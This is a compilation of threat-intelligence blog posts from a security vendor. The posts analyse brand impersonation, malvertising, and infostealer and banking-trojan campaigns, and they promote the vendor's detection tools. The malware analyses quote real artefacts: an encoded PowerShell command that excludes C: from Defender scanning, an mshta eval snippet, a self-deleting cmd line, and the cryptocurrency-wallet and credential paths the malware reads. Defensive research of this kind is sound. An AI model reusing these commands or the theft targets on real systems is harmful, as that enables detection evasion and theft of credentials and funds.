The Context Graph: Powering Preemptive Cyber Defense

SVB's unexpected collapse spreads chaos amongst thousands of businesses, including tech companies, VCs, and other banks.

/in /by

Our Threat Analysts are already tracking malicious infrastructure that’s been set up to take advantage of the situation.

Summary

Brand impersonation remains a persistent existential threat to the financial and reputational livelihood of businesses across the globe, regardless of size, revenue or sector.

Whilst threat actors are more likely to impersonate brands that command a high degree of trust among consumers and businesses – especially those within the financial and cloud services sector – no organisation is truly safe.

Threat actors view impersonation as a means to exploit the good name and commercial standing of well-established companies, gaining the trust of users who are less vigilant than they usually would be, given the brand names involved.

Inadequate solutions

Cloud-based security platforms are available that target individual elements of an impersonation campaign – DNS records, website content, and security architecture (certificates) – but the industry has thus far failed to offer a unified, end-to-end solution that encompasses all the constituent parts of a firm’s ability to defend itself against online impersonation.

Let’s take a look at the individual TTPs threat actors use to impersonate brands, what questions you should be asking your current security provider, and how Silent Push can help through our centralized Brand Impersonation Protection service.

Domain name impersonation

The most common scenario covered by most anti-impersonation solutions is domain name impersonation – a tactic that involves threat actors registering a domain name that is alphanumerically similar to your own domain.

Typosquatting and regex searches

Standalone typosquatting services monitor new domains for registrations that meet certain criteria, usually with a similar string of numbers and characters to the legitimate domain, e.g. examp1e[.]com being used to impersonate example[.]com.

If your domain is 4 characters or less, generally speaking, results will not be fit for purpose unless you’re also able to conduct a regex search that offers granular analysis of potential threats – a form of advanced searching that looks for specific naming patterns, instead of using whole domain or nameserver names.

Example regex pattern: ^g[^\.o]ogle[a-z]{1,}\.[a-z]{1,}$

The above query returns results for google, followed by any characters (before the top-level domain), and also any single characters that replace the first o.

The returned data is highly specific to the target domain, with zero erroneous or irrelevant returns.

Subdomain enumeration

Any digital threat management platform worth its salt needs to include a function that monitors subdomains, as well as root domains and TLDs.

Let’s take a look at the anatomy of https://www.silentpush.com

  • https:// – Protocol
  • www. – Subdomain
  • silentpush.com – Root domain

Your security provider needs to be checking for impersonation campaigns that target not only your root domain but also typosquats on your subdomain too. Cybercriminals view subdomains as low-hanging fruit, due in part to the inattention they receive from most digital threat monitoring platforms.

Email Impersonation

MX (Mail Exchange) records

Threat actors impersonate email domains using MX records in a technique called ‘spoofing’. Spoofing involves forging email headers so that communication appears to come from a trusted sender.

MX records are DNS records that specify which mail server is responsible for handling emails for a particular domain. By spoofing the MX record, the attacker can make it appear as though the email is coming from a legitimate sender’s mail server, even if it is not.

Here’s a common attack vector:

  1. The attacker sets up a fake email server and creates an email address that appears to be from a legitimate sender, such as helpdesk@randombank[.]com.
  2. The attacker spoofs the MX record for randombank[.]com so that it points to their own fake email server, rather than the actual mail server for randombank[.]com.
  3. When a recipient receives an email from helpdesk@randombank[.]com, their email client checks the MX record for randombank[.]com to determine which mail server to use. Since the attacker has spoofed the MX record, the email client sends the email to the attacker’s fake email server instead of the legitimate mail server for randombank[.]com.
  4. The attacker’s email server receives the email and is free to exploit the data in numerous ways – they may forward it on to a legitimate mail server to avoid suspicion, or modify the contents of the email to include malicious links or attachments.

TXT records

MX record exploits are commonly used to propagate business email compromise or supply chain fraud and are often used in combination with TXT spoofing.

Threat actors engage in TXT (Text) spoofing to add an additional layer of legitimacy to the fake email.

Here’s an example of how hackers can use email domain spoofing with TXT records to impersonate email domains, using the above domain as an example:

  1. The attacker creates a new TXT record for randombank[.]com that includes a special string of text, known as a DKIM (DomainKeys Identified Mail) signature. This signature is designed to prove that the email is legitimate and has not been tampered with.
  2. The attacker sends an email from [email protected] that includes the DKIM signature in the email header. The recipient’s email client checks the TXT record for randombank[.]com to confirm that the email is legitimate.
  3. Since the attacker has created a fake TXT record with a valid DKIM signature, the email appears to be legitimate to the recipient’s email client. The recipient is therefore more likely to trust the email and is far more included to click on malicious links or open attachments that contain malware.

By using email domain spoofing with TXT records, threat actors increase the perceived legitimacy of their phishing emails, making it more likely that the recipient will fall for their scam.

It’s important for organizations to deploy countermeasures that provide MX and TXT record searches as standard. If these features are lacking, risk levels are considerably higher.

Spoofed content

Content can broadly be described as the information contained within a web page, as seen by the person who is viewing it.

Threat actors cast their nets far and wide in their attempts to redirect traffic and fool users into believing a fake website is in fact legitimate. These efforts are not limited to back-end DNS exploits. Cybercriminals go to great lengths to replicate the look and feel of popular online brands.

Let’s take a look at two prominent TTPs – favicons and content similarity.

Favicons

Favicons are small icons that appear in the browser’s address bar and next to the website name in tabs. They are usually associated with a specific website or brand, and can be used by threat actors to create a sense of legitimacy for fake websites that host malware or are designed to harvest credentials.

Here’s an example of how threat actors use favicons to impersonate brands:

  1. The threat actor creates a fake website that looks similar to a legitimate domain, using a similar domain name (see above), design, and content.
  2. The threat actor creates a favicon that is similar or identical to the favicon of the legitimate website they are trying to impersonate. This is easily achieved by copying the legitimate favicon and making subtle alterations.
  3. The copied favicon is enabled on the fake website, increasing its legitimacy in the eyes of the user.

Favicon phishing is notoriously difficult to detect, as the visual similarity between the fake favicon and the legitimate one can be subtle. Counteracting favicon spoofing is a fine art. Most digital threat management platforms struggle to deal with the complexities involved, and businesses are often left exposed by poorly performing or non-existent favicon search functions.

Content similarity

Threat actors use templates to re-purpose malicious content across hundreds of spoofed domains. Images are included that mimic legitimate graphics, page layouts are similar and text placement resembles the original domain.

Content impersonation services need to extend beyond favicons and certificate queries. Corporate defenses need to include similarity searches that flag malicious on-screen content masquerading as a legitimate website.

Certificate impersonation

A digital certificate is an electronic document that verifies the identity of a website or online service and encrypts communications between the user and the website.

By impersonating the digital certificate of a legitimate website or service, threat actors deceive users into thinking that they are interacting with a legitimate website or service when they are actually interacting with a fake one.

Threat actors can create their own fake digital certificates that mimic the legitimate certificate of an established brand, which are then used to create fake websites that host malicious content.

Subdomain takeovers and SSL certificates

A subdomain takeover occurs when hackers gain unfettered access to one or more subdomains within an organization’s DNS records, usually caused by poor housekeeping and inadequate third-party service management.

Once a subdomain has been captured, threat actors are able to generate valid SSL certificates using a legitimate certificate authority, which dramatically increases legitimacy in the eyes of any potential victim.

Unless you’re able to perform a quick and comprehensive search for certificates similar or identical to your brand’s name that aren’t hosted on trusted infrastructure (i.e. created or hosted by threat actors), then your public DNS presence is significantly more at risk of being compromised.

Silent Push brand impersonation defense tools

Our platform contains an exhaustive list of queries that combat all the constituent TTPs of a brand spoofing attack, without the need to utilise numerous distinct platforms, with varying results depending on how each one approaches digital threat management.

Silent Push contains a set of role-based impersonation detection tools that leave no stone unturned, and shine a light on your online presence in ways that are all too often overlooked by brands and other security vendors alike.

All of our queries are designed to be used in unison with one another from a centralized, user-friendly UX, offering enriched data that shines a light on your public DNS presence in ways that no other security platform can match:

  1. Favicon searches
  2. Content similarity searches
  3. TXT record queries
  4. Certificate queries
  5. MX record searches

Take advantage of Silent Push’s vast array of threat defense tools by signing up for our free Community App.

Favicon search
Content similarity search
TXT record search
Certificate search
MX record search
Sign up here
Prada website screenshot

"Infostealing Killed The Video Star": YouTube targeted in expansive Russian C2 malware operation.

/in /by

Key points

  1. Russian threat actors are hijacking popular YouTube channels to propagate infostealing malware
  2. Multiple global software brands spoofed, centred around media production and editing software
  3. Sensitive data (including general authentication and cryptowallet information) is being uploaded from infected computers to attacker-controlled C2 servers.

Background

Infostealer activity is on the rise. Malware-as-a-Service is becoming more and more popular with threat actors operating via rogue states. Russian marketplaces in particular have contributed towards an exponential rise in reports of stolen credentials over the past 12 months.

In December of last year, Accenture published research that documented an increase in infostealer malware available for sale on the dark web, fuelled by the growing popularity of ‘MFA fatigue’ attacks – an unsophisticated yet effective intrusion method which bombards a compromised corporate account with MFA push messages until the victim accepts, and the threat actor gains access to the account.

Attack vectors

Our content scans began picking up various distinct templates hosted on new phishing domains on October 2nd 2022. Homepages began to emerge that distributed popular software packages free of charge.

Photo and video editing tools are common lures, especially for threat actors utilising the Raccoon infostealer, and particularly those used by content creators on media-sharing sites such as YouTube (see below).

Here’s a few of the templates we discovered, all utilising the same basic approach:

freesoft[.]site
prosoftwares[.]site
evil-software[.]biz

YouTube exploitation – lead-soft[.]biz

Following the emergence of infostealer domains, videos started to appear on compromised YouTube accounts publicising ‘cracked’ (malicious) applications from global brand names in the world of video, photo and sound editing.

Even though creators are able to recover their accounts through YouTube’s support channels, threat actors use a compromised channel’s organic reach to publicize infostealing malware whilst they are in control of publishing content.

The popular soccer-themed YouTube channel, Los Displicentes (youtube[.]com/LosDisplicentes) is one such channel that was recently compromised.

Lead-soft[.]biz is an attacker-controlled domain that claims to distribute FL Studio and Adobe products free of charge, among others:

Lead-soft[.]biz

Los Displicentes, which boasts 2.1 million subscribers, produces content that focuses on the world of Argentinan football, but following an attacker takeover, its most recent upload on Tuesday 22nd February is entirely concerned with promoting ‘Adobe Premier Pro Crack’ software.

The Los Displecentes YouTube channel, with malicious content placed next to legitimate uploads

In the video, an actress mimes the speech of an AI voice overlay that directs users to lead-soft[.]biz:

Video from the Los Displicentes YouTube channel publicising a malicious domain (lead-soft[.]biz)

lead-soft[.]biz/adobe-premiere-pro was created on February 16th. Within 5 days of registration, threat actors managed to gain control of one of Argentina’s most popular YouTube channels and use its 2.1 million subscriber base as a malware distribution service.

Registration information for lead-soft[.]biz
YouTube description listing lead-soft[.]biz, directing users to a fake Adobe Premier Pro download site

Analysing the lead-soft[.]biz infostealer malware

Once it’s captured traffic, lead-soft[.]biz directs users to download a .RAR file containing the executable and various .DLL files:

Infostealer executables deploy ‘binary padding’ techniques – a tactic that alters the checksum of the file, in order to circumvent hash-based blocklists and static anti-virus signatures.

Changing the on-disk representation of malware prevents detection by popular online tools such as VirusTotal, and stops any upload to public sandboxes that impose file size limitations.

Once launched, the malware initiates a child process, which uses powershell.exe to execute a 64-bit encoded command that adds the C: directory as a path in the exclusion list referenced by Microsoft Defender:

powershell -ENC cwBlAHQALQBtAHAAcAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AZQB4AGMAbAB1AHMAaQBvAG4AcABhAHQAaAAgAEMAOgBcAA==

The executable also attempts to read cryptocurrency wallet paths (see below), along with accessing credentials from browsers and locally-stored accounts in \Users\Admin\AppData\Local\Microsoft\Credentials\:

  • C:\Users\Admin\AppData\Local\Coinomi\Coinomi\wallets\
  • C:\Users\Admin\AppData\Roaming\Electrum\wallets\
  • C:\Users\Admin\Documents\Monero\wallets\
  • C:\Users\Admin\AppData\Roaming\WalletWasabi\Client\

Analyzing the post request reveals attempts to connect with a C2 server @ 45.15.156[.]239, to import VC++ libraries and upload stolen data:

POST request
Response from POST request showing import of libraries and upload of system/wallet information (1)
Response from POST request (2)

Geographic locations

The majority of C2 servers were hosted on IP addresses from Europe and Russia, using Russian ASN services. The C2 server involved in the lead-soft[.]biz malware also uses a Russian autonomous system called PARTNER-AS.

The Burmilia infostealer

One of the domains (currently offline) linked with a campaign that propagates the Burmilia infostealer uses the Russian IP 94.226.121[.]108 as its C2 server – further evidence of the region’s role as a hotbed of activity for malware distribution:

Domain hosting the Burmilia infostealer, with C2 POST connection attempts to 194.226.121[.]108
Enrichment of the above malicious IP in Silent Push Enterprise

Silent Push global feeds feature multiple flags that pinpoint the infrastructure observed in infostealer campaigns across the world.

Our enriched data sources also provides researchers and security teams with additional insights such as active and freely-accessible open directories.

194.226.121[.]108 hosts a C2 server, and an open directory containing a remote access trojan (fdasf.exe):

Open directory on 194.226.121[.]108
VirusTotal analysis of fdasf.exe

We also discovered Burmilia’s admin panels, hosted on 194.190.153[.]137 and 178.20.42[.]14:

Burmilia admin panel on 194.190.153[.]137 and 178.20.42[.]14

Summary

Infostealing campaigns are a persistent menace that perpetuate targeted attacks on global software brands serving a broad range of commercial use cases – from financial apps to remote access tools, editing software and creator-focused platforms.

Alongside the campaigns we’ve discussed in this blog, we’ve also investigated the infostealing malware Redline and Rhadamanthys.

We’ll be passing our research on to all of the organizations affected, including YouTube and Adobe.

Silent Push continues to facilitate early detection of infostealing IoCs through multiple layers of intelligence – from point of infection, to download and the identification of C2 infrastructure.

Take advantage of our vast array of threat defense tools by signing up for the free Community App.

Get started now
screenshots of MSI After burner platform

Threat actors continue to exploit malvertising and brand spoofing to deploy infostealers and propagate crypto fraud

/in /by

Background

Last month we blogged about malvertisement activity involving Russian banking trojans, originating from malicious Google ads.

Attack vectors included search phrases and fake advertisments targeting remote desktop apps and online meeting platforms.

A couple of days after releasing our research the FBI issued a PSA, warning users about brand impersonation activity that uses popular search engines as a tool to distribute malware.

Since then, we’ve been on the lookout for similar activity targeting the type of brands targeted in the initial campaign. We’ve uncovered new attack vectors featuring other spoofing activities not limited to the original campaign.

AnyDesk spoofing

One of the brands targeted in the initial campaign was AnyDesk – the remote desktop platform.

With the help of scanned data from Silent Push’s enrichment query, we’ve kept an eye on the AnyDesk attack vector, among other remote desktop tools.

Throughout our collaboration with MalwareBytes whilst investigating DDOS-Guard, we uncovered a host of phishing domains impersonating AnyDesk software on the same IP infrastructure that hosted multiple spoofing pages targeting MSI After Burner, Trading View, Team Viewer, open source software such as OBS Studio and infostealers including Vidar and Aurora.

Through a combination of enriched data monitoring and granular research into DDOS-Guard’s infrastructure, we’ve kept track of similar infostealer-based threat activity, which has stuck around for the last two months.

In many cases, malware is being hosted on legitimate services such as Dropbox and Discord – domains hosted on 45.15.156[.]55 feature download links to an archive file hosted on Discord.

Domains hosted on 45.15.156[.]55
Malicious infrastructure on msalterberners[.]com
Code behind MSI Afterburner download activity

New attacks vectors

At the time of publication, both Dropbox and Discord have taken down multiple links involved in the campaign, but we are still seeing evidence of numerous new domains that are dropping similar infostealers.

Threat actors seem to be using DDOS-Guard’s services to propagate malicious activity.

We discovered multiple domains hosted on one of its IPs – 186.2.171[.]7 – targeting open-source software platforms such as Blender 3D, Digital Audio Editor Audacity, the Brave browser and the image editor GIMP, among others.

Even the spoofing domains that do not feature open source platforms – such as numerous typosquatted domains targeting the Steam community marketplace CS.Money – host malicious content similar to the spoofed open-source domains.

Preview of IPs hosted on DDOS-Guard infrastructure
Blender spoofing domain, with active download link
GIMP spoofing domain with active download link
A typosquat of the CS.Money domain, appearing to host a fake Audacity variant

Infostealers and crypto wallets

In all these cases, download links prompt an install of a version of the Vidar infostealer, which in turn attempts to connect to a Telegram account (t[.]me/jetbim) and a Steam profile steamcommunity[.]com/profiles/76561199471266194

VT page for the infostealer

The malware is equipped with evasion capabilities, as well as resulting in a timeout in most open-source sandboxes: 

“C:\Windows\System32\cmd.exe” /c timeout /t 6 & del /f /q “C:\Users\Admin\AppData\Local\Temp\blender-3.4.1-windows-x64.exe” & exit

The infostealer attempts to access a crypto wallet as it tries to read files and directories:

C:\Users\Admin\AppData\Roaming\Electrum\wallets\

C:\Users\Admin\AppData\Roaming\Electrum-LTC\wallets\

C:\Users\Admin\AppData\Local\Coinomi\Coinomi\wallets\

Similar infostealers have been involved in spoofing brand domains redirected from Google ads. We anticipate that these brands will soon be targeted with SEO-poisoned malvertisements.

Cybersecurity-focused social media accounts have recently posted about the open-source Brave browser (one of the brands spoofed on this IP), redirected from Google Ads, which connect with the same Telegram and Steam community account highlighted above, hinting that the campaigns could be linked to the same group of threat actors.

Sekoia researcher tweet about a malicious Brave redirect from Google ads

Old campaigns still active with new IoC’s

As global attention turns towards active campaigns, threat actors are showing signs of resilience by moving on to new IoCs and previously unaffected infrastructure.

Banking trojans distributed through fake AnyDesk ads were one of the first malvertisment attack vectors we observed, and new spoofed AnyDesk domains are still being created – wvww.anydeskcom[.]top, featuring the IcedID banking trojan, is only 24 hours old at the time of writing, but the domain is already being distributed through Google ads.

The anydaske[.]website is visible from a Google ad, but the redirect points to a new domain in an attempt to keep one step ahead of researchers and security teams, by creating new IoCs that don’t appear in most global feeds.

Clicking on ‘Download Now’ injects the malicious archive file, containing the IcedID banking trojan.

The domain is hosted on 46.173.218[.]229, which proves the infrastructure consists of domains and brands that were involved in the previous malware distribution campaigns, such as Microsoft Teams, the IRS and Adobe.

Silent Push Query for IP 46.173.218[.]229
VT page for the archive with new IcedID Banking Trojan

Through enriched scanning, we have identified pages being spoofed in numerous different languages, indicating typosquatted domains across multiple distinct global regions.

Portuguese language spoofing site

MetaMask browser extension scam

Malware delivery is not the only attack vector utilised by threat actors looking to abuse search engine platforms with SEO poisoning.

During our Google Ads research, we uncovered a campaign targeting users of the Synapse Bridge Protocol – a popular platform that allows for the transfer of crypto assets between blockchains.

The legitimate Synapse domain asks users to manually connect their crypto wallet of choice to facilitate a secure transaction.

The phishing domain, however, attempts to connect directly with a MetaMask wallet, providing that the MetaMask browser extension is already installed.

Alternatively, the malicious domain asks users to install the extension, if it’s not already enabled in their browser. As the user has been redirected from a legitimate search engine, there is a high chance that many would fall victim to it without manually verifying the correct domain name.

Legitimate Synapse Protocol domain
Phishing domain spoofing Synapse, redirected from Google Ads

Most domains involved with this scam aren’t flagged on VirusTotal:

Conclusion

SEO poisoning and malvertising are not new techniques, but a recent surge in activity indicates there may be a lot more to come, with numerous new and well-established brands targeted across multiple global regions, languages and applications.

Government authorities such as the FBI have begun to sound the alarm about the rise in cases. Still, the sophistication of the threat actors’ approach and their willingness to switch to new infrastructure means that the number of people affected will inevitably rise.

It’s vitally important for security teams to protect consumers and supply chain operations by deploying proactive modes of defense, including keeping a lookout for any new campaigns utilizing SEO poisoning that are targeting their own or their customers’ infrastructure.

We’ve created a bespoke feed for our paid subscribers to keep one step ahead of threat activity. Our ‘Malvertising Domains’ feed is updated regularly with new IoCs – including suspect domains and IP infrastructure – and we’ll continue to monitor the situation using enriched data from our daily IPv4 scans, featuring billions of nodes across the globe.

Follow us on LinkedIn and Twitter for weekly threat intelligence updates and research.

screenshot of Silent Push attack surface mapping dashboard

Subdomain Enumeration as a Countermeasure: Introducing the Silent Push Subdomain Finder

/in /by

A key component of any attack surface mapping operation lies in an organization’s ability to collect information related to its brand that isn’t exclusively limited to second and top-level domain data.

Subdomain data plays an increasingly important role in corporate ethical hacking endeavours, from red and blue team ops to bug bounties and standard threat management activities.

Let’s delve a little deeper into subdomain enumeration as a modern countermeasure, and explore how Silent Push’s new Subdomain Finder allows you to not only scan for subdomain vulnerabilities using a single query but also provides results with reputational risk scoring generated from automated queries, that are custom-made for a brand’s unique public DNS infrastructure.

What is subdomain enumeration?

Subdomain enumeration is the act of categorizing all subdomains for any given domain. 

Enumeration isn’t limited to security functions. Brands often need to collect domain data for a range of organizational purposes, such as audits, inventory, product development cycles or restructuring activities.

From a security perspective, however, subdomain enumeration is explicitly concerned with providing security teams with an actionable list of assets that need to be protected from all manner of conventional and lesser-known exploits.

Why are subdomains so important to security-conscious organizations?

Subdomain takeovers are a growing malady within the world of corporate DNS security. If a subdomain has a CNAME associated with it, but no content is being provided by the host, threat actors can hijack the domain by deploying their own replacement host.

The consequences of such an attack are disproportionate to how easy it can be to perform the takeover in the first place, once a subdomain has been compromised 

Threat actors are able to obtain hashed credentials, gain access to SSO-secured systems and applications via hijacked session cookies and perform cross-site scripting attacks that facilitate access to sensitive information and even have the ability to modify a site’s underlying HTML.

Obtaining a comprehensive top-down picture of an organization’s subdomain infrastructure allows security professionals to:

  1. discover and directly address a larger attack surface than was previously acknowledged;
  2. identify lesser-known entry points and vulnerable DNS records;
  3. deal with dormant applications or migrated/expired services.
Subdomain takeover process (Source)

Red and Blue Team ops

Subdomain data is one of several factors within Red and Blue Team ops that should be given an equal amount of consideration by both sides during a simulated attack, particularly throughout the reconnaissance phase, or indeed any activity that involves an adversarial assessment of a company’s public DNS infrastructure.

For both Red and Blue Team practitioners, subdomains offer a goldmine of information that facilitate the development of unique attack vectors and allow for robust defense mechanisms which are unique to the target organization, including:

  1. safeguarding host and identity information;
  2. securing organizational data;
  3. identifying open databases or file repositories;
  4. closing bridges to exploitable sites and services

Once a list of subdomains has been obtained, each one can be interrogated to ascertain whether the domain is live and its HTTP status code, further refining the attack surface map and providing specific subdomains that require attention.

How subdomain enumeration is carried out: passive vs. active domain identification

Subdomain enumeration techniques are categorized in two ways: passive enumeration and active enumeration.

Both techniques involve time-consuming and inexact ways of discovering a reliable list of subdomains that are prone to human error and don’t always return a categorical and up-to-date set of results.

Before reading on about passive and active enumeration, it’s important to note that the Silent Push Subdomain Finder achieves a complete list of associated subdomains through a simple search based on a single apex domain, without the need to engage with multiple distinct techniques spread across numerous DNS lookup tools, consoles and scripts.

Passive enumeration

Passive enumeration involves gathering domain data without any direct interaction with the primary domain infrastructure, with the help of third-party tools. Passive enumeration techniques include:

Scanning Certificate Transparency logs

Certificate Transparency logs all the entries of domain certificates in a centralised database, accessible to the public – including a list of domain names, subdomains, and email addresses.

ASN discovery

ISPs purchase unique IP address pools and ASN numbers from the Internet Assigned Numbers Authority (IANA), which distinguishes them from other providers. Security teams identify an ASN number by IP address (or domain name), which then leads them to an address pool. If a PTR record is visible on the DNS setup, subdomains can then be resolved to an IP address, using a variety of tools.  

Operator searches on mainstream search engines

Certain subdomains can also be located using widely-used search engines (e.g. Google, Yahoo, Bing). Using the operator ‘site:’ prior to the brand name 

Extracting subdomain data from multi-domain SSL certificates

Multi-domain SSL certificates allow a single certificate to secure multiple domains –  including subdomains – underneath a single apex domain name (or even a completely different domain name) with the end goal of protecting the subdomains through SSL. Where present, subdomain data can be extracted from multi-domain SSL certificates using tools such as OpenSSL, or custom scripts.

Searching through large public DNS datasets

Various publicly available DNS datasets are available online that cover all manner of DNS data from a large number of visible domains online, from Forward and Reverse DNS lookups to SSL certificates and HTML responses. Each dataset is broken down into categories that contain responses for all records known by that particular repository, and security teams need to create their own filters and search scripts based on the subdomain information they’re looking for.

Utilizing reverse proxy servers and Content Delivery Networks (CDNs) (e.g. Cloudflare)

CDNs are groups of proxy servers linked together using a web application firewall (WAF) to cache content that’s closer geographically (also called a Point of Presence) to the end user who is requesting it, thereby increasing performance and reducing data bottlenecks.

Certain CDNs display DNS data for any target domain that a user is attempting to add, including a list of subdomains for the associated apex domain.

Active enumeration

Active enumeration involves direct interaction with the apex domain – rather than utilising publicly available information or third-party DNS services, in order to gather a list of associated domains:

‘Brute force’ discovery

‘Brute forcing’ (either utilising a unique wordlist or by using permutations of known domain names) involves using third-party tools in an attempt to guess subdomain hostnames through random or sequential strings of characters and/or numbers. This tactic is often used to discover hostnames that have either been overlooked by the controlling organization or to uncover subdomains that aren’t publicly discoverable using standard aggregation tactics.

DNS zone transfers

A zone file is a basic text file that includes data on the various mappings between domain names, IP addresses and other hostname information such as physical network assets.

If zone transfers aren’t properly configured and maintained, and a DNS server is allowed to transfer zone files to anywhere other than a controlled location such as a nameserver or specific IP address, zone files can be read by unauthorised personnel, along with a treasure trove of information relating to public and privately visible subdomains stemming from an apex domain.

Enumeration by CNAME and SPF record

Sender Policy Framework (SPF) is a method used to authenticate an email as originating from a trusted source – i.e. the domain that sent it.

The way that SPF discovery work means that if an accompanying record is not found on an email subdomain (e.g. sales.example[.]com) that validates that subdomain as being able to send email, then SPF will return a negative value without attempting to validate using the second level domain (example[.]com). Tools exist that parse domain and subdomain data from SPF records, allowing threat actors to extract information on how an organization’s public DNS presence is structured.

Canonical Names (CNAMES) are used to map a subdomain to a domain that’s used to host content. Querying CNAMES can be used to reveal information about associated subdomains, and any third-party services attached to them.

Harvesting Content Security Policy (CSP) data

CSPs are HTTP headers that allow domain owners to define what kind of content is able to be loaded on a specific website – e.g. JavaScript, CSS, frames, fonts, image files, and embeddable content such as Java applets, ActiveX, and audio/video files.

CSPs also contain domain and subdomain names that the CSP is applicable to. Various Python tools exist that parse domain names from CSP headers and provide further information, such as whether or not an A record is associated with a particular subdomain and any associated IP addresses.

The Silent Push Subdomain Finder

Obtaining an accurate and complete set of subdomains attached to an associated domain can be a time-consuming, inexact and unreliable process. Online DNS aggregators don’t always return an accurate set of results for a variety of reasons, and even paid-for services are liable to return suspect datasets that are incomplete, out of date and overtly incorrect.

Take this example from a well-known subscription-based service:

Invalid enumeration results

Several subdomains are listed as being first seen, and last updated, on January 1970. The Internet’s DNS architecture wasn’t invented until 1983.

The Silent Push Subdomain Finder utilises a comprehensive set of back-end enumeration techniques to output a complete list of what subdomains actually exist underneath a second-level domain, their associated IP addresses, any attached record and whether or not they are able to be connected to.

The service also scans the endpoint and facilitates a pivot into any other asset, record or piece of data associated with the same IP address.

Silent Push Subdomain Finder

Crucially, Silent Push subdomain enumerations are able to be monitored, with an email alert sent every 24 hours listing any changes, such as additions and removals to your DNS infrastructure (paid subscribers only).

Red and Blue Teams, bug bounty chasers and security professionals require a subdomain enumeration service that doesn’t leave them guessing and eliminates the need to interact with numerous different consoles, scripts, third-party tools, Linux platforms, online aggregators and vast unfiltered data dumps – most of which may be returning conflicting information based off inexact searches, guesswork and the incidental availability of public DNS information.

The Silent Push Subdomain Finder is available for free using the Silent Push Community App – The largest free library of SaaS-based threat defense tools available anywhere in the world.

Click here to register.

Follow us on LinkedIn and Twitter for weekly threat intelligence updates and research.

Screenshot of Any Desk website

Silent Push uncovers a large Russian Ursnif/Gozi banking trojan operation targeting global AnyDesk users.

/in /by

Key points

  • Malvertisment campaigns propagated via Google Ads
  • AnyDesk remote monitoring software targeted
  • Threat activity linked to Russian C2 servers
  • Evidence of other malware hashes using the same methods

Background

Over the last few days, threat intelligence researchers have started to expose an SEO poisoning/malvertisment campaign, that’s attempting to propagate a well-known modular banking trojan – IcedID.

Threat actors are elevating malicious download pages to the front page of a Google search for popular applications, such as Slack and AnyDesk, by exploiting Google Ads:

Uncovered: New Anydesk/Gozi phishing campaign

Whilst creating custom threat feeds targeting middle domains found throughout the IcedID campaign, Silent Push threat analysts uncovered previously unexplored threat activity featuring a similar set of TTPs, but using the Ursnif/Gozi banking trojan – an early C2C progenitor with its roots in the Russian criminal underworld – distributed via a different group of AnyDesk phishing pages.

Google search manipulation

Performing a Google search using ‘anydesk download’ as the base parameter populates a set of results featuring a malicious Google Ad for an AnyDesk domain at the top of the list (anydesk-access[.]com), with the legitimate domain (anydesk[.]com) populated as a non-sponsored result immediately below it:

URL-based attack vectors

Previous AnyDesk malvertisment campaigns have featured legitimate URLs in the ad text. As evidenced above, this group of threat actors have managed to circumvent Google Ad safeguards and publish a malicious URL direct from the ad itself.

Clicking on the Google Ad led us to a download page for the aforementioned Gozi/Ursnif trojan executable, with the name ‘AnyDesk.exe’:

Fake AnyDesk landing page
Fake AnyDesk download link, and file details

It’s interesting to note that the download link only populates via the Google Ad redirect. If the URL is accessed directly, the link doesn’t appear and the domain loads a graphically different webpage:

Undetected in VirusTotal

This browsing anomaly is likely the reason why, when submitted to VirusTotal, the URL is passed off as legitimate by 91 security vendors:

VirusTotal analysis of anydesk-access[.]com

Traffic analysis

A traffic trace using Fiddler shows a malicious domain redirect after the Google Ad populates an iframe from golunki[.]com:

Further investigation reveals another domain loading fake AnyDesk images, where users are led through several 302 redirects to a malicious file download at 4zuki[.]com:

1. golunki[.]com redirects to tradeview[.]moves

2. tradeview[.]moves triggers a script that redirects to a download link, after populating the main site with fake content:

3. The final download destination – 4zuki[.]com/download/AnyDesk.exe

Executable behaviour

Once downloaded, the trojan (f04469b9a67701e9da38b1d86a10546e) attempts to communicate with four C2 servers featuring Russian TLDs:

  • reggy505[.]ru
  • iujdhsndjfks[.]ru032p
  • gameindikdowd[.]ru
  • jhgfdlkjhaoiu[.]su

The executable also attempts a code injection attack that causes disruption by interacting with various Windows processes.

The software scans for the installation path of Microsoft Outlook:

“C:\Windows\System32\mshta.exe”

“about:hta:application<script>Xu0e=’wscript.shell’;resizeTo(0,2);eval(new ActiveXObject(Xu0e).regread(‘HKCU\\Software\AppDataLow\Software\Microsoft\CE576D4B-D57C-3028-CFE2-D96473361DD8\\StopTest’));if(!window.flag)close()</script>”

The application also attempts to read system certificates by accessing the corresponding registry key:

HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES

Charting the executables interaction with system processes (Source – VMRay Analyzer)
Meta data from malicious anydesk[.]exe
Meta data from legitimate anydesk[.]exe

We also witnessed other pieces of malware being distributed using the same set of domains and malvertisments, not limited to Gozi derivatives, using the hash 61e2f9029baf7ce21d8de2eddea55405f20ed5db26ecbdaea42404ca28a08d7c:

Conclusion

This isn’t the first time that AnyDesk users have been the target of a phishing campaign featuring malicious remote access software. Large IT service companies need to be constantly aware of similar attack vectors featuring malicious replicas of popular software applications.

We’re passing our research onto Google and AnyDesk, and populating our custom threat feeds with the Gozi download URLs, related IPs and C2 servers we discovered.

Visit silentpush.com to find out more about the world’s leading early-detection platform.

Follow us on LinkedIn and Twitter for weekly threat intelligence updates and research.

Download our Community version and take advantage of the largest free library of SaaS-based threat defence tools available anywhere on the Internet.

IoCs

  • anydesk-access[.]com
  • reggy505[.]ru
  • iujdhsndjfks[.]ru
  • 94.198.54[.]97
  • gameindikdowd[.]ru
  • jhgfdlkjhaoiu[.]su
  • 94.198.54[.]97

Taking Over Domains - Dangling DNS by John Jensen for mWISE Conference 2023

/in /by

Poorly managed public DNS infrastructure is low-hanging fruit for threat actors across the globe.

Silent Push CTO, John Jensen, gave a talk on domain takeovers and dangling DNS records at the Mandiant Worldwide Information Security Exchange (2023). In this webinar, John answers:

  • What is a dangling DNS record?
  • Why do they represent a security risk?
  • Different types of dangling records
  • Common misconfigurations
  • How to find dangling records
  • Case studies of successful takeovers
  • Sandbox demos
  • Mitigation and prevention

Sign-up for the Silent Push Community App and get access to a comprehensive set of DNS auditing tools, free of charge: https://www.silentpush.com/community-edition/

screenshot of Microsoft Windows Security platform

Malvertisment campaigns: Uncovering more IoCs from the recent Windows Defender fraud

/in /by

Background

Malwarebytes recently published a blog post uncovering a malvertisment campaign that used domain cloaking tactics to redirect users to fake Microsoft Windows Defender support pages, that act as a front for a tech support scam.

Our Threat Analysts have conducted further research and discovered that the majority of malicious domains included in the report’s IoCs were hosted on the same four IP addresses, featuring similar network IDs:

  • 188.114.97[.]3
  • 188.114.97[.]2
  • 188.114.96[.]12
